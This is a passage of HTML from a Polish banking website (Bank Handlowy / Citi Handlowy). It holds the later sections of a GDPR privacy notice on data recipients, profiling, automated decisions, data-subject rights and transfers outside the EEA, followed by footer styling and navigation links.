prawa lub jest niezbędne do realizacji celów wynikających z ww. prawnie uzasadnionych interesów Banku.<br><br>Brak podania przez Panią/Pana wszystkich wymaganych danych osobowych będzie stanowić przeszkodę do zawarcia umowy oraz świadczenia przez Bank usług na Pani/Pana rzecz.<br><br>W zakresie, w jakim dane osobowe są zbierane na podstawie zgody, podanie danych osobowych jest dobrowolne.<br><br><b>IV. Informacje o odbiorcach Pani/Pana danych osobowych</b><br><br>W związku z przetwarzaniem Pani/Pana danych osobowych w celach wskazanych w pkt. II, Pani/Pana dane osobowe mogą być udostępniane następującym odbiorcom bądź kategoriom odbiorców:<ul><li> organom władzy publicznej oraz podmiotom wykonującym zadania publiczne lub działającym na zlecenie organów władzy publicznej, w zakresie i w celach, które wynikają z przepisów prawa, np. Komisji Nadzoru Finansowego, Generalnemu Inspektorowi Informacji Finansowej;</li><li> podmiotom powiązanym z Bankiem, w tym w ramach Citigroup, przy realizacji obowiązków raportowych i sprawozdawczych;</li><li> podmiotom wykonującym zadania wynikające z przepisów prawa, takim jak BIK oraz biura informacji gospodarczej, a także innym bankom i instytucjom w zakresie, w jakim informacje te są niezbędne w związku z wykonywaniem czynności bankowych oraz nabywaniem i zbywaniem wierzytelności;</li><li> podmiotom uczestniczącym w procesach niezbędnych do wykonania zawartych z Panią/Panem umów, w tym Krajowej Izbie Rozliczeniowej S.A., Visa, Mastercard, First Data Polska;</li><li> podmiotom wspierającym Bank w jego procesach biznesowych i czynnościach bankowych, w tym podmiotom przetwarzającym dane osobowe na rzecz Banku (tzw. procesorzy danych) oraz partnerom Banku;</li><li> Związkowi Banków Polskich.</li></ul><br><b>V. Okresy przetwarzania danych osobowych</b><br><br>Pani/Pana dane osobowe będą przetwarzane przez okres niezbędny do realizacji wskazanych w pkt. II celów, tj. w zakresie realizacji zawartej przez Panią/Pana z Bankiem umowy, przez okres do czasu zakończenia jej realizacji, a po tym czasie przez okres oraz w zakresie wymaganym przez przepisy prawa lub dla realizacji przez Bank uzasadnionego interesu administratora danych w zakresie określonym w pkt. II powyżej, a w przypadku wyrażenia przez Panią/Pana zgody na przetwarzanie danych po rozwiązaniu bądź wygaśnięciu umowy, do czasu wycofania tej zgody.<br><br><b>VI. Profilowanie oraz zautomatyzowane podejmowanie decyzji</b><br><br>Profilowanie należy rozumieć jako dowolną formę zautomatyzowanego przetwarzania danych osobowych, które polega na ich wykorzystaniu do oceny niektórych cech osoby fizycznej, w szczególności do analizy lub prognozy aspektów dotyczących efektów pracy tej osoby fizycznej, jej sytuacji ekonomicznej, zdrowia, osobistych preferencji, zainteresowań, wiarygodności, zachowania, lokalizacji lub przemieszczania się.<br><br>W zakresie niezbędnym do zawarcia lub wykonania umowy z Bankiem bądź wykonania przez Bank obowiązku wynikającego z przepisów prawa, Pani/Pana dane osobowe mogą być przetwarzane w sposób zautomatyzowany, co może wiązać się ze zautomatyzowanym podejmowaniem decyzji, w tym profilowaniem, które mogą wywołać wobec Pani/Pana skutki prawne lub w inny istotny sposób wpłynąć na Pani/Pana sytuację. Tego rodzaju przypadki wystąpią w następujących sytuacjach:<br><br>1. dokonywanie oceny ryzyka prania pieniędzy oraz finansowania terroryzmu zgodnie z ustawą AML:<ul><li> Pani/Pana dane osobowe są wykorzystywane w procesie „Poznaj swojego Klienta”, który odbywa się na etapie nawiązywania relacji, a także później, w ramach cyklicznych przeglądów. W ramach profilowania, m.in. na podstawie okoliczności, takich jak rodzaj klienta, stosunków gospodarczych, rodzaju produktów, historii transakcji, ryzyka geograficznego oraz weryfikacji, czy klient jest osobą zajmującą eksponowane stanowisko polityczne w rozumieniu Ustawy AML oraz czy wcześniej wykazywał aktywność podwyższonego ryzyka (np. uprzednio zgłaszane transakcje do Generalnego Inspektora Informacji Finansowej - GIIF), ustala się lub zmienia poziom ryzyka dla danego klienta. Jeżeli w wyniku takiego profilowania dojdzie do zakwalifikowania Pani/Pana do kategorii osób podwyższonego ryzyka, Bank zastrzega sobie prawo do kontaktu z Panią/Panem celem zebrania dodatkowych informacji. Ponadto w wyniku takiej kwalifikacji na etapie nawiązywania relacji może dojść do odmowy zawarcia umowy z Panią/Panem,</li><li>Pani/Pana dane osobowe będą podlegały profilowaniu w celu identyfikacji ewentualnych przypadków prania pieniędzy lub finansowania terroryzmu zgodnie z Ustawą AML. W ramach takiego profilowania pod uwagę brane są m.in.: dane dotyczące transakcji, obywatelstwo, rodzaj klienta, rodzaj stosunków gospodarczych, obszar geograficzny, a także uprzednia aktywność podwyższonego ryzyka. W wyniku takiego profilowania identyfikuje się potencjalnie niezgodne z przepisami Ustawy AML postępowanie w zakresie prania pieniędzy lub finansowania terroryzmu. Skutkiem ewentualnego stwierdzenia uzasadnionych podejrzeń prania pieniędzy lub finansowania terroryzmu jest zgłoszenie takiej transakcji do odpowiednich organów państwowych  lub możliwość wypowiedzenia umowy. W wyniku takiego stwierdzenia może również dojść do odmowy zawarcia kolejnej umowy z Panią/Panem w przyszłości i/lub odmowy rozszerzenia aktualnej relacji o kolejne produkty oferowane przez Bank;</li></ul><br>2. w odniesieniu do umów o charakterze kredytowym:<ul><li> przeprowadzanie oceny Pani/Pana zdolności kredytowej i/lub analizy ryzyka kredytowego. Ocena zdolności i wiarygodności kredytowej odbywa się na podstawie danych przekazanych przez Panią/Pana we wniosku o zawarcie umowy z Bankiem oraz informacji pozyskanych z BIK oraz biur informacji gospodarczej. Zakres wykorzystywanych danych obejmuje informacje o Pani/Pana bieżących zobowiązaniach oraz informacje dotyczące historii obsługi innych produktów i usług, w tym dane zawarte w bazach BIK oraz biur informacji gospodarczej. W procesie oceny zdolności i wiarygodności kredytowej wykorzystywane są modele statystyczne, w wyniku czego zostaje wskazana Pani/Pana zdolność i wiarygodność kredytowa do zaciągania zobowiązań względem Banku. W przypadku wykazania w ten sposób braku lub niewystarczającej zdolności lub wiarygodności kredytowej do zaciągnięcia danego zobowiązania, Bank odmówi Pani/Panu udzielenia produktu kredytowego,</li><li> Pani/Pana dane osobowe, tj. m.in. odpowiednio dotychczasowa historia kredytowa, dane demograficzne, historia transakcji, a także dotychczasowa ocena Pani/Pana zdolności i wiarygodności kredytowej mogą być profilowane w ramach procesów zarządzania ryzykiem kredytowym i kapitałem Banku, w związku z wymogiem Rozporządzenia CRR, o którym mowa wyżej. Takie profilowanie nie przyniesie jakichkolwiek skutków dla Pani/Pana,</li><li> możliwe jest podjęcie wobec Pani/Pana zautomatyzowanej decyzji o obniżeniu limitu kredytowego, w przypadku gdy uległa pogorszeniu Pani/Pana zdolność kredytowa. Pogorszenie zdolności kredytowej może być przez Bank zidentyfikowane wyłącznie w wyniku oceny obiektywnych informacji, tj. na podstawie informacji o liczbie, kwocie i jakości bieżącej obsługi produktów kredytowych i innych usług, przy czym informacje te są pozyskiwane z bazy Bankowego Rejestru (MIG-BR), bazy BIK oraz z systemów Banku,</li><li> w uzasadnionych przypadkach, tj. w przypadku braku, pomimo wezwania, spłaty wymagalnego zobowiązania wynikającego z umowy, Bank w sposób zautomatyzowany podejmuje decyzje o wypowiedzeniu umowy,</li><li> w uzasadnionych przypadkach w odniesieniu do wymagalnych wierzytelności Banku wynikających umów o charakterze kredytowym, po bezskutecznym procesie ich dochodzenia, Bank w sposób zautomatyzowany podejmie decyzje o dokonaniu ich sprzedaży;</li></ul><br>3. dodatkowo, w zakresie wykonywania umowy o kartę kredytową, zgodnie z warunkami umowy zawartej z Bankiem:<ul><li> może być wobec Pani/Pana wydana przez Bank zautomatyzowana decyzja o nieprzedłużeniu umowy. Podstawowym kryterium podjęcia takiej decyzji jest przedłużający się okres co najmniej 24 miesięcy nieużywania Pani/Pana karty kredytowej,</li><li> możliwe jest podjęcie wobec Pani/Pana zautomatyzowanej decyzji o odmowie wykonania transakcji. Taka decyzja zostanie podjęta w wyniku przekroczenia przyznanego umową limitu kredytowego lub w przypadku powstania zaległości na rachunku karty kredytowej;</li></ul><br>4. w uzasadnionych przypadkach możliwe jest podjęcie wobec Pani/Pana zautomatyzowanej decyzji o odmowie wykonania transakcji płatniczej w przypadku podejrzenia, iż została zainicjowana przez osobę nieuprawnioną. Identyfikacja takich przypadków odbywa się na podstawie profilowania ustalonego według kryteriów związanych z cechami Pana/Pani transakcji, w tym kwoty transakcji, miejsca inicjowania transakcji, sposobu jej autoryzowania;<br><br>5. w przypadku umów dotyczących usług inwestycyjnych – w zakresie związanym z dokonywaniem oceny poziomu wiedzy i doświadczenia oraz analizy profilu ryzyka (zgodnie z Ustawą z dnia 29 lipca 2005 r. o obrocie instrumentami finansowymi) uzyskane w formularzu informacje (m.in. wykształcenie, doświadczenie inwestycyjne, wiedza nt. produktów inwestycyjnych, wiek, sytuacja finansowa i cele inwestycyjne) posłużą do oceny Pani/Pana wiedzy i doświadczenia w zakresie inwestowania na rynku finansowym, sytuacji finansowej oraz celów inwestycyjnych, tj. w celu stworzenia Pani/Pana profilu inwestycyjnego. Ponadto takie informacje posłużą do prawidłowej oceny określonego rynku docelowego klientów końcowych w ramach danej kategorii klientów Banku. Bank może odmówić zawarcia umowy w przypadku ustalenia braku wystarczającej wiedzy nt. charakteru usługi, objętej umową, którą Pani/Pan zamierza zawrzeć;<br><br>6. w celach marketingowych, o których mowa w pkt. II ppkt 3 lit. i), Pani/Pana dane osobowe (m.in. odpowiednio dotychczasowa historia kredytowa, dane demograficzne, historia transakcji, a także dotychczasowa ocena Pani/Pana zdolności kredytowej) mogą być wykorzystywane do profilowania w celu skierowania do Pani/Pana spersonalizowanej oferty, z której nieskorzystanie nie przyniesie Pani/Panu jakichkolwiek negatywnych skutków.<br><br><b>VII. Prawa osoby, której dane dotyczą</b><br><br>Bank pragnie zapewnić Panią/Pana, że wszystkim osobom, których danych osobowe są przetwarzane przez Bank, przysługują odpowiednie prawa wynikające z RODO. W związku z tym przysługują Pani/Panu następujące prawa:<br><br>1. prawo dostępu do danych osobowych, w tym prawo do uzyskania kopii tych danych;<br><br>2. prawo do żądania sprostowania (poprawiania) danych osobowych – w przypadku gdy dane są nieprawidłowe lub niekompletne;<br><br>3. prawo do żądania usunięcia danych osobowych (tzw. „prawo do bycia zapominanym”) – w przypadku gdy:<ul><li> dane nie są już niezbędne do celów, dla których były zebrane lub w inny sposób przetwarzane,</li><li> osoba, której dane dotyczą, wniosła sprzeciw wobec przetwarzania danych,</li><li> osoba, której dane dotyczą, cofnęła zgodę, na której opiera się przetwarzanie i nie ma innej podstawy prawnej przetwarzania,</li><li> dane przetwarzane są niezgodnie z prawem,</li><li> dane muszą być usunięte w celu wywiązania się z obowiązku wynikającego z przepisów prawa;</li></ul><br>4. prawo do żądania ograniczenia przetwarzania danych osobowych – w przypadku gdy:<ul><li> osoba, której dane dotyczą, kwestionuje prawidłowość danych osobowych,</li><li> przetwarzanie danych jest niezgodne z prawem, a osoba, której dane dotyczą, sprzeciwia się usunięciu danych, żądając w zamian ich ograniczenia,</li><li> administrator nie potrzebuje już danych dla swoich celów, ale osoba, której dane dotyczą, potrzebuje ich do ustalenia, obrony lub dochodzenia roszczeń,</li><li> osoba, której dane dotyczą, wniosła sprzeciw wobec przetwarzania danych – do czasu ustalenia, czy prawnie uzasadnione podstawy po stronie administratora są nadrzędne wobec podstawy sprzeciwu;</li></ul><br>5. prawo do przenoszenia danych osobowych – w przypadku gdy:<ul><li> przetwarzanie odbywa się na podstawie umowy zawartej z osobą, której dane dotyczą lub na podstawie zgody wyrażonej przez taką osobę oraz</li><li> przetwarzanie odbywa się w sposób zautomatyzowany;</li></ul><br>6. prawo do sprzeciwu wobec przetwarzania danych osobowych, w tym profilowania, gdy:<ul><li> zaistnieją przyczyny związane z Pani/Pana szczególną sytuacją oraz</li><li> przetwarzanie danych oparte jest na podstawie niezbędności do celów wynikających z prawnie uzasadnionego interesu Banku, o którym mowa w pkt. II powyżej.</li></ul><br><b>VIII. Prawo do cofnięcia zgody na przetwarzanie danych osobowych</b><br><br>W zakresie, w jakim udzieliła Pani/Pan zgody na przetwarzanie danych osobowych, przysługuje Pani/Panu prawo do jej cofnięcia. Cofnięcie zgody nie ma wpływu na zgodność z prawem przetwarzania danych, którego dokonano na podstawie zgody przed jej wycofaniem.<br><br><b>IX. Prawo wniesienia skargi do organu nadzorczego</b><br><br>W przypadku uznania, iż przetwarzanie przez Bank Pani/Pana danych osobowych narusza przepisy RODO, przysługuje Pani/Panu prawo do wniesienia skargi do właściwego organu nadzorczego.<br><br><b>X. Przekazywanie danych osobowych do podmiotów spoza Europejskiego Obszaru Gospodarczego („EOG”) lub organizacji międzynarodowych</b><br><br>Bank w uzasadnionych i koniecznych z uwagi na okoliczności przypadkach może udostępnić Pani/Pana dane osobowe podmiotom mającym siedzibę poza EOG (USA, Singapur, Indie, Chiny, Hongkong i Kanada) oraz organizacjom międzynarodowym (np. SWIFT), a także innym podmiotom, mającym siedzibę poza EOG, lub organizacjom międzynarodowym, do których transfer jest konieczny w celu wykonania umowy (np. realizacji Pani/Pana dyspozycji związanych z umową). Co do zasady, przekazanie danych poza EOG nastąpi na podstawie zawartych z odbiorcą danych standardowych klauzul umownych, których treść została ustalona przez Komisję Europejską oraz zapewnia najwyższe stosowane na rynku standardy ochrony danych osobowych. Ma Pani/Pan prawo do uzyskania kopii tych danych za pośrednictwem Banku.</div></span>
                                            </div>

                                            <div class="spacer5"></div>
                                            <div class="row nomargin">
                                                <div id="btnConfirm">
                                                    <div class="text-center col-md-4 col-md-push-4 col-xs-10 col-xs-push-1 confirm-button">
                                                        <div id="ok_root" class="">
                                                            <button id="ok_body" type="button" class="btn col-md-12 col-sm-12 col-xs-12 btn-primary" disabled="disabled">Zamknij</button>
                                                        </div>

                                                    </div>
                                                </div>
                                            </div>
                                        </div></div></div>
                            </div></div>
                    </div>
                </div>
                <div class="spacer_md-sm hidden-xs"></div></div></main>
        <aside id="app-right-aside"></aside>
        <footer id="app-footer"><div><div data-module="portal" data-app="layout">
                    <section id="subapp-footer"><div><style>
                                .app-footer-bg {
                                    background: #333333;
                                }

                                .app-footer {
                                    background: #333333;
                                    color: #f9f9f9;
                                    padding: 20px 0;
                                }

                                .app-footer .foot-copyright {
                                    line-height: 29px;
                                    color: #d4d4d4;
                                    margin: 0;
                                    font-size: 13px;
                                }

                                .footer-links ul {
                                    margin: 20px 0 0 0;
                                    padding: 0;
                                    list-style: none;
                                    -webkit-padding-start: 0;
                                }

                                .footer-links ul li {
                                    float: left;
                                    width: 100%;
                                }

                                .footer-links ul li a {
                                    font-size: 13px;
                                    line-height: 24px;
                                    font-family: Interstate_Light, sans-serif;
                                    color: #d4d4d4;
                                    border-bottom: 1px solid transparent;
                                    transition: 0.5s ease;
                                }

                                .footer-links ul li a:hover {
                                    border-bottom: 1px solid #fff;
                                    color: #fff;
                                }

                                .footer-links ul li a.special-link {
                                    background: #eee;
                                    border-radius: 6px;
                                    padding: 10px 15px;
                                    color: #474747;
                                    display: block;
                                }

                                .footer-links-bottom ul {
                                    float: right;
                                    -webkit-padding-start: 0;
                                }

                                .footer-links-bottom ul li {
                                    display: inline;
                                    margin: 0 0 0 30px;
                                    word-break: break-word;
                                }

                                .footer-links-bottom ul li a {
                                    font-size: 1.143rem;
                                    color: #d4d4d4;
                                    transition: 0.5s ease;
                                }

                                .footer-links-bottom ul li a:hover {
                                    border-bottom: 1px solid;
                                    color: #fff;
                                }

                                .postLogin .app-footer .foot-copyright {
                                    float: right;
                                }

                                @media (max-width: 767px) {
                                    .app-footer ul {
                                        margin: 0;
                                    }
                                    .app-footer .foot-copyright {
                                        float: left;
                                        padding-top: 15px;
                                        padding-bottom: 15px;
                                    }
                                    .postLogin .app-footer .foot-copyright {
                                        float: none;
                                    }
                                    .footer-links ul li a.special-link {
                                        display: inline-block;
                                        margin: 5px 0 0 0;
                                    }
                                    .footer-links-bottom ul {
                                        float: left;
                                        padding: 0;
                                    }
                                    .footer-links-bottom ul li {
                                        display: block;
                                        margin: 0;
                                        padding: 0.5rem 0;
                                    }
                                    .footer.app-footer {
                                        padding: 0 6px;
                                    }
                                    #app-footer footer.footer a,
                                    #app-footer footer.footer a:hover {
                                        font-size: 16px;
                                        color: white !important;
                                    }
                                    #app-footer footer.footer #sitemap {
                                        margin-top: 45px !important;
                                    }
                                }
                                @media (min-width: 768px) and (max-width: 991px) {
                                    #app-footer .footer-links-bottom ul li {
                                        padding: 0.5rem 0;
                                        margin-left: 0;
                                        display: block;
                                        vertical-align: top;
                                    }
                                    .postLogin #app-footer .footer-links-bottom ul li {
                                        padding: 0.5rem 0;
                                        margin-left: 15px;
                                        display: inline-block;
                                        vertical-align: top;
                                    }
                                }

                                #app-footer,
                                #app-footer.cbol-footer {
                                    min-height: 0;
                                }

                                #app-footer.cbol-footer #postLoginFooter {
                                    padding-top: 1rem;
                                }

                                #app-footer footer.footer {
                                    background-color: #333;
                                    padding-top: 20px;
                                    padding-bottom: 20px;
                                    color: #fff;
                                    overflow: hidden;
                                }

                                #app-footer footer.footer a {
                                    color: #d4d4d4;
                                    font-size: 15px;
                                    line-height: 24px;
                                }

                                #app-footer footer.footer a:hover {
                                    text-decoration: none;
                                    color: #d4d4d4;
                                }

                                #app-footer footer.footer .footer-links-bottom a {
                                    font-size: 13px;
                                }

                                #app-footer .foot-other {
                                    font-size: 13px;
                                    color: #d4d4d4;
                                }

                                #app-footer footer.footer .footer-links-bottom .foot-copyright {
                                    font-size: 13px;
                                    font-weight: bold;
                                }

                                #app-footer footer.footer a.logo {
                                    display: block;
                                    margin-top: 10px;
                                    margin-bottom: 40px
                                }

                                #app-footer footer.footer hr {
                                    border-color: #404040;
                                }

                                #app-footer footer.footer .ddl-copyright {
                                    font-size: 12px;
                                    font-size: .75rem;
                                    color: #eee
                                }

                                #app-footer footer.footer #sitemap {
                                    margin-top: 10px;
                                    margin-bottom: 25px;
                                }

                                #app-footer footer.footer #sitemap>div:first-child>ul {
                                    border-top: 1px solid #404040;
                                }

                                #app-footer footer.footer #sitemap ul {
                                    padding: 0 1rem 0 0;
                                    margin-bottom: 0
                                }

                                #app-footer footer.footer #sitemap ul li {
                                    padding-left: 50px;
                                    cursor: pointer
                                }

                                #app-footer footer.footer #sitemap ul li:hover>a {
                                    text-decoration: underline
                                }

                                #app-footer footer.footer #sitemap ul li.parent {
                                    border-bottom: 1px solid #404040;
                                    padding: 0 0 0 30px;
                                    margin-bottom: 0;
                                    font-family: Interstate_Bold, sans-serif;
                                    min-height: 54px;
                                    position: relative;
                                }

                                #app-footer footer.footer #sitemap ul li.parent svg {
                                    background-image: url(/cbol/images/icons/svgs/arrows/arrow-btn-next-white.svg);
                                    position: absolute;
                                    height: 16px;
                                    width: 8px;
                                    left: 5px;
                                    top: 24px;
                                    -webkit-transition: -webkit-transform .4s ease-in-out;
                                    transition: -webkit-transform .4s ease-in-out;
                                    transition: transform .4s ease-in-out;
                                    transition: transform .4s ease-in-out, -webkit-transform .4s ease-in-out;
                                    -webkit-transform: rotate(90deg);
                                    transform: rotate(90deg);
                                    -webkit-transform-origin: 50%;
                                    transform-origin: 50%
                                }

                                #app-footer footer.footer #sitemap ul li.parent>span {
                                    padding: 20px 0;
                                    display: block;
                                    color: #fff;
                                }

                                #app-footer footer.footer #sitemap ul li .sitemap-tabpanel {
                                    visibility: hidden;
                                    max-height: 0;
                                    opacity: 0;
                                    -webkit-transition: max-height .4s, visibility .4s ease, opacity .4s ease;
                                    transition: max-height .4s, visibility .4s ease, opacity .4s ease
                                }

                                #app-footer footer.footer #sitemap ul li .sitemap-tabpanel li.child {
                                    padding: 0;
                                    margin: 0
                                }

                                #app-footer footer.footer #sitemap ul li .sitemap-tabpanel li.child a {
                                    padding: 5px 0 15px;
                                    display: block
                                }

                                #app-footer footer.footer #sitemap ul li .sitemap-tabpanel li.child:last-child a {
                                    padding-bottom: 15px
                                }

                                #app-footer footer.footer #sitemap ul li.is-expanded svg {
                                    -webkit-transform: rotate(270deg);
                                    transform: rotate(270deg)
                                }

                                #app-footer footer.footer #sitemap ul li.is-expanded .sitemap-tabpanel {
                                    visibility: visible;
                                    opacity: 1;
                                    max-height: 500px
                                }

                                #app-footer footer.footer #sitemap ul li a:focus {
                                    color: #fff;
                                    text-decoration: underline
                                }

                                #app-footer .sitemap-col {
                                    width: 100%;
                                }

                                .footer-icon-grid {
                                    display: inline-block;
                                    float: right;
                                }
                                .footer-icon-facebook {
                                    background: #fff url(/images/icons/standard/facebook.png) no-repeat center center;
                                    width: 36px;
                                    height: 36px;
                                }
                                .footer-icon-twitter {
                                    background: #fff url(/images/icons/standard/twitter.png) no-repeat center center;
                                    width: 36px;
                                    height: 36px;
                                }
                                .footer-icon-youtube {
                                    background: url(/images/icons/standard/youtube.png) no-repeat center center;
                                    width: 36px;
                                    height: 36px;
                                }
                                .footer-icon {
                                    transition: .3s opacity ease;
                                    background-size: 100% 100%!important;
                                    margin: 20px 0 0 10px;
                                    display: inline-block;
                                }


                                @media (min-width: 992px) {
                                    #app-footer .sitemap-col {
                                        width: 16.66666%;
                                        float: left;
                                    }
                                    #app-footer footer.footer #sitemap>div:first-child>ul {
                                        border-top: none
                                    }
                                    #app-footer footer.footer #sitemap ul li {
                                        text-align: left;
                                        list-style-type: none;
                                        padding-left: 0;
                                        cursor: default
                                    }
                                    #app-footer footer.footer #sitemap ul li.parent {
                                        border-bottom: none;
                                        padding: 0
                                    }
                                    #app-footer footer.footer #sitemap ul li.parent .sitemap-tabpanel {
                                        visibility: visible;
                                        max-height: none;
                                        opacity: 1
                                    }
                                    #app-footer footer.footer #sitemap ul li.parent .sitemap-tabpanel .child {
                                        visibility: visible;
                                        opacity: 1;
                                        max-height: auto;
                                        -webkit-transition: max-height 500ms ease-out 2ms, visibility 1ms ease, opacity 325ms ease;
                                        transition: max-height 500ms ease-out 2ms, visibility 1ms ease, opacity 325ms ease
                                    }
                                    #app-footer footer.footer #sitemap ul li.parent span:focus {
                                        outline: 0
                                    }
                                    #app-footer footer.footer #sitemap ul li svg {
                                        display: none
                                    }
                                }
                            </style>



                            <footer class="footer app-footer app-footer-bg cbol-footer">
                                <div class="container-fluid">
                                    <div id="subapp-footer-top">
                                        <div class="row">
                                            <div class="col-md-2 col-sm-2 col-xs-3">
                                                <svg width="45" height="30" id="footer-logo" class="show" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 115">
                                                    <defs>
                                                        <style>.svg-logo-text-color{fill:white;}</style>
                                                    </defs>
                                                    <path fill="red" d="M190.91,37C178.74,18.73,156.24,5.85,132.23,5.86A72.06,72.06,0,0,0,73.53,37H90.31c11.45-11.8,26.3-18.21,41.91-18.23,15.34,0,30.44,6.43,41.9,18.23Z" transform="translate(-12.1 -5.86)"></path>
                                                    <path class="svg-logo-text-color" d="M66.6,98.82l-.32.31c-5.14,5.27-11.12,8.05-17.28,8.05-12.85,0-22.18-9.64-22.18-22.94S36.15,61.32,49,61.32c6.15,0,12.13,2.79,17.28,8.06l.32.33,8.29-10-.22-.26C67.8,51.31,59.53,47.37,49.4,47.37s-19.47,3.4-26.2,9.57c-7.28,6.73-11.1,16.14-11.1,27.31s3.83,20.61,11.1,27.3c6.73,6.2,16,9.6,26.2,9.6s18.4-4,25.27-12.07l.22-.27Z" transform="translate(-12.1 -5.86)"></path>
                                                    <rect class="svg-logo-text-color" x="71.13" y="42.72" width="14.6" height="71.21"></rect>
                                                    <path class="svg-logo-text-color" d="M155,104.29c-3.9,2.36-7.54,3.58-10.81,3.58-4.73,0-6.83-2.48-6.83-8.05V62h14.84V48.58H137.41V26.4l-14.34,7.66V48.58H110.73V62h12.34v40.23c0,11,6.51,18.46,16.2,18.65a22.89,22.89,0,0,0,12.94-3.28l.15-.1,3.53-13.73Z" transform="translate(-12.1 -5.86)"></path>
                                                    <rect class="svg-logo-text-color" x="155.02" y="42.72" width="14.6" height="71.21"></rect>
                                                    <path class="svg-logo-text-color" d="M213.49,33.06a6.5,6.5,0,1,1-6.5-6.5A6.37,6.37,0,0,1,213.49,33.06Zm1.24,0A7.74,7.74,0,1,0,207,40.81,7.59,7.59,0,0,0,214.74,33.06Zm-4.2-1.82a2.48,2.48,0,0,0-2.77-2.55h-3.71v8.45h1.44V33.88h1.63l1.65,3.26h1.7l-1.74-3.41A2.41,2.41,0,0,0,210.54,31.24Zm-1.46,0c0,.83-.58,1.2-1.35,1.2h-2.23v-2.4h2.23A1.19,1.19,0,0,1,209.08,31.28Z" transform="translate(-12.1 -5.86)"></path>
                                                </svg>
                                            </div>
                                            <div class="col-md-10 col-sm-10 col-xs-9 hide-on-postLogin">
                                                <div class="footer-icon-grid">
                                                    <a href="https://www.facebook.com/Citihandlowy/">
                                                        <span class="footer-icon footer-icon-facebook"></span>
                                                    </a>
                                                    <a href="https://twitter.com/citi_handlowy">
                                                        <span class="footer-icon footer-icon-twitter"></span>
                                                    </a>
                                                    <a href="https://www.youtube.com/user/CitiHandlowy">
                                                        <span class="footer-icon footer-icon-youtube"></span>
                                                    </a>
                                                </div>
                                            </div>
                                            <div class="col-md-10 col-sm-10 col-xs-12 show-on-postLogin">
                                                <span class="foot-copyright">Copyright © 2017 Bank Handlowy w Warszawie S.A.</span>
                                            </div>
                                        </div>
                                    </div>

                                    <div id="preLoginFooter" class="hide-on-postLogin">
                                        <nav id="sitemap" class="clearfix" data-prevent-auto-scroll="true">
                                            <div class="sitemap-col">
                                                <ul>
                                                    <li class="parent">
                                                        <span><svg class="svg-arrow"></svg><strong>O banku</strong></span>
                                                        <div class="sitemap-tabpanel">
                                                            <ul>
                                                                <li class="child"><a href="http://www.citibank.pl/poland/homepage/polish/o-banku.htm" target="_blank">O nas</a></li>
                                                                <li class="child"><a href="http://www.citibank.pl/poland/homepage/polish/relacje-inwestorskie.htm" target="_blank">Relacje inwestorskie</a></li>
                                                                <li class="child"><a href="http://www.citibank.pl/poland/kronenberg/polish/index.htm" target="_blank">Fundacja Kronenberga</a></li>
                                                                <li class="child"><a href="http://www.citibank.pl/poland/kariera/index.htm" target="_blank">Kariera</a></li>
                                                            </ul>
                                                        </div>
                                                    </li>
                                                </ul>
                                            </div>

                                            <div class="sitemap-col">
                                                <ul>
                                                    <li class="parent">
                                                        <span><svg class="svg-arrow"></svg><strong>Informacje</strong></span>
                                                        <div class="sitemap-tabpanel">
                                                            <ul>
                                                                <li class="child"><a href="http://www.citibank.pl/poland/homepage/polish/press1/informacje-prasowe.htm" target="_blank">Biuro prasowe</a></li>
                                                                <li class="child"><a href="http://www.citibank.pl/poland/homepage/polish/aktualnosci.htm" target="_blank">Aktualności</a></li>
                                                                <li class="child"><a href="https://www.citibankonline.pl/kursy-walut/citi-priority.html">Kursy Walut</a></li>
                                                            </ul>
                                                        </div>
                                                    </li>
                                                </ul>
                                            </div>

                                            <div class="sitemap-col">
                                                <ul>
                                                    <li class="parent">
                                                        <span><svg class="svg-arrow"></svg><strong>Bankowość Elektroniczna</strong></span>
                                                        <div class="sitemap-tabpanel">
                                                            <ul>
                                                                <li class="child"><a href="https://www.citibankonline.pl/bankowosc-internetowa.html">Bankowość internetowa</a></li>
                                                                <li class="child"><a href="https://www.online.citibank.pl/landing/citimobile/index.htm" target="_blank">Dostęp mobilny</a></li>
                                                                <li class="child"><a href="http://www.citibank.pl/poland/citidirect/polish/index.htm" target="_blank">Citi Direct</a></li>
                                                                <li class="child"><a href="https://online.dmbh.pl/index.html" target="_blank">Dom Maklerski DMBH</a></li>
                                                            </ul>
                                                        </div>
                                                    </li>
                                                </ul>
                                            </div>

                                            <div class="sitemap-col">
                                                <ul>
                                                    <li class="parent">
                                                        <span><svg class="svg-arrow"></svg><strong>Przydatne Informacje</strong></span>
                                                        <div class="sitemap-tabpanel">
                                                            <ul>
                                                                <li class="child"><a href="https://www.citibankonline.pl/dokumenty.html">Dokumenty</a></li>
                                                                <li class="child"><a href="https://www.citibankonline.pl/oprocentowanie.html">Oprocentowanie</a></li>
                                                            </ul>
                                                        </div>
                                                    </li>
                                                </ul>
                                            </div>

                                            <div class="sitemap-col">
                                                <ul>
                                                    <li class="parent">
                                                        <span><svg class="svg-arrow"></svg><strong>Pomoc</strong></span>
                                                        <div class="sitemap-tabpanel">
                                                            <ul>
                                                                <li class="child"><a href="http://www.citibank.pl/poland/homepage/polish/kontakt.htm" target="_blank">Kontakt</a></li>
                                                                <li class="child"><a href="https://www.citibankonline.pl/apps/customerservice/faq/" target="_blank">Pytania i odpowiedzi</a></li>
                                                                <li class="child"><a href="http://www.citibank.pl/poland/homepage/polish/placowki.htm" target="_blank">Placówki</a></li>
                                                            </ul>
                                                        </div>
                                                    </li>
                                                </ul>
                                            </div>

                                            <div class="sitemap-col">
                                                <ul>
                                                    <li class="parent">
                                                        <span><svg class="svg-arrow"></svg><strong>Promocje i oferty</strong></span>
                                                        <div class="sitemap-tabpanel">
                                                            <ul>
                                                                <li class="child"><a href="https://www.online.citibank.pl/restauracje/polish/index.html" target="_blank">Program A La Carte</a></li>
                                                                <li class="child"><a href="https://www.online.citibank.pl/citispecials/" target="_blank">Citi Specials</a></li>
                                                            </ul>
                                                        </div>
                                                    </li>
                                                </ul>
                                            </div>
                                        </nav>

                                        <hr class="hidden-xs hidden-sm">
                                        <div id="subapp-footer-bottom">
                                            <div class="row">
                                                <nav class="footer-links-bottom">
                                                    <div class="col-md-10 col-sm-8 col-xs-12">
                                                        <ul class="foot-list pull-left">
                                                            <li class="foot-copyright">Copyright © 2017 Bank Handlowy w Warszawie S.A.</li>
                                                            <li><a href="https://www.citibankonline.pl/zasady-korzystania-z-serwisu.html">Zasady korzystania z serwisu</a></li>
                                                            <li><a href="https://www.citibankonline.pl/bezpieczenstwo.html">Bezpieczeństwo</a></li>
                                                            <li><a href="https://www.citibankonline.pl/polityka-cookie.html">Polityka Cookie</a></li>
                                                        </ul>
                                                    </div>
